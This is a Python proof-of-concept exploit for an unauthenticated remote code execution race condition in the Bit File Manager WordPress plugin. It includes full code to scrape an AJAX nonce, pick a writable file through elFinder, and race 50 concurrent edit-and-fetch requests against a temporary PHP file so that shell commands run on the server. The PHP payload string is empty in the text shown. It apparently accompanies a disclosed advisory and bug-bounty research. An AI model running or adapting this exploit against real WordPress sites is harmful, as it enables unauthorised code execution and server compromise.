#!/usr/bin/env python3 import requests import json import aiohttp import asyncio from bs4 import BeautifulSoup from re import search class Poc: def __init__(self, targetBaseUrl, raceConditionJobs=50): self.targetBaseUrl = targetBaseUrl self.session = requests.Session() self.raceConditionJobs = raceConditionJobs self.ELFINDER_AJAX_ACTION = 'bit_fm_connector_front' self.READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open' self.EDIT_FILE_ELFINDER_COMMAND = 'put' self.AJAX_ENDPOINT = f'{self.targetBaseUrl}/wp-admin/admin-ajax.php' self.PHP_PAYLOAD = '' self.EDITED_TEMPORARY_FILE_URL = f'{self.targetBaseUrl}/wp-content/uploads/file-managertemp.php' def getAjaxNonce(self, fileManagerPostPath): print('[*] Getting a valid AJAX nonce...') fileManagerPostUrl = f'{self.targetBaseUrl}{fileManagerPostPath}' responseText = self.session.get(fileManagerPostUrl).text soup = BeautifulSoup(responseText, 'html.parser') nonceScriptElement = str(soup.find('script', {'id' : 'file-managerelfinder-script-js-extra'})) regexPattern = r'var fm = (.*);' result = search(regexPattern, nonceScriptElement) if not result: print('[-] Unable to get a valid AJAX nonce') exit(0) parsedJsonObject = json.loads(result.group(1)) ajaxNonce = parsedJsonObject['nonce'] print(f'[+] Found the valid AJAX nonce: {ajaxNonce}') return ajaxNonce def getRandomFileHash(self, nonce): print(f'[*] Getting a random file\'s hash via elFinder command "{self.READ_DIRECTORY_FILES_ELFINDER_COMMAND}"...') bodyData = { 'action': self.ELFINDER_AJAX_ACTION, 'nonce': nonce, 'cmd': self.READ_DIRECTORY_FILES_ELFINDER_COMMAND, 'init': '1' } jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=bodyData).json() if 'error' in jsonResponse: print(f'[-] Unable to get a random file\'s hash') exit(0) currentWorkingDirectoryFiles = jsonResponse['files'] for file in currentWorkingDirectoryFiles: isFileValid = True if 'hash' in file or 'name' in file else False isFileWritable = True if file['mime'] != 'directory' else False if not isFileValid or not isFileWritable: continue fileHash = file['hash'] filename = file['name'] break print(f'[+] Found file "{filename}" with hash "{fileHash}"!') return fileHash async def editFileRaceCondition(self, bodyData): # edit then access the temporary PHP file async with aiohttp.ClientSession() as session: async with session.post(self.AJAX_ENDPOINT, data=bodyData) as response: # set allow_redirects to False to prevent aiohttp from following the redirect. # this is because when the temporary PHP file doesn't exist, WordPress will redirect to path "/wp-content/uploads/file-managertemp.php/" async with session.get(self.EDITED_TEMPORARY_FILE_URL, allow_redirects=False) as response: if response.status != 200: return None return await response.text() async def executeEditFileRaceCondition(self, nonce, fileHash, commandToExecute): print(f'[*] Editing file with hash "{fileHash}" via elFinder command "{self.EDIT_FILE_ELFINDER_COMMAND}" and getting the edited temporary PHP file at "{self.EDITED_TEMPORARY_FILE_URL}"...') bodyData = { 'action': self.ELFINDER_AJAX_ACTION, 'nonce': nonce, 'cmd': self.EDIT_FILE_ELFINDER_COMMAND, 'target': fileHash, 'content': self.PHP_PAYLOAD.replace('{cmd}', commandToExecute) } tasks = [] for _ in range(self.raceConditionJobs): task = asyncio.create_task(self.editFileRaceCondition(bodyData)) tasks.append(task) taskResults = await asyncio.gather(*tasks) for responseText in taskResults: if responseText is None: print('[-] Failed to read the edited temporary PHP file in time') continue print(f'[+] We won the race condition! Here\'s the PHP payload result:\n{responseText.strip()}') break def exploit(self, fileManagerPostPath, commandToExecute): # 1. Get a valid AJAX nonce via the script element with id "index-BITFORM-MODULE-js-extra" # 2. Get a random file's hash via elFinder command "open". This allows us to edit the file in the next step # 3. Edit the file with PHP payload via elFinder command "put" and read the edited file at the same time, which is at path "/var/www/html/wp-content/uploads/file-managertemp.php" ajaxNonce = self.getAjaxNonce(fileManagerPostPath) fileHash = self.getRandomFileHash(ajaxNonce) asyncio.run(self.executeEditFileRaceCondition(ajaxNonce, fileHash, commandToExecute)) if __name__ == '__main__': # Description: # The Bit File Manager plugin for WordPress is vulnerable to Remote Code Execution in versions 6.0 to 6.5.5 via the 'checkSyntax' function. This is due to writing a temporary file to a publicly accessible directory before performing file validation. This makes it possible for unauthenticated attackers to execute code on the server if an administrator has allowed Guest User read permissions. # https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition # # Writeup: # https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/ # change the following values targetBaseUrl = 'http://localhost' fileManagerPostPath = '/?p=6' commandToExecute = 'whoami; id; hostname' # change this value if you wanted. Default is 50, which means # we're sending the race condition requests 50 times at the same time # raceConditionJobs = 100 # poc = Poc(targetBaseUrl, raceConditionJobs) poc = Poc(targetBaseUrl) poc.exploit(fileManagerPostPath, commandToExecute)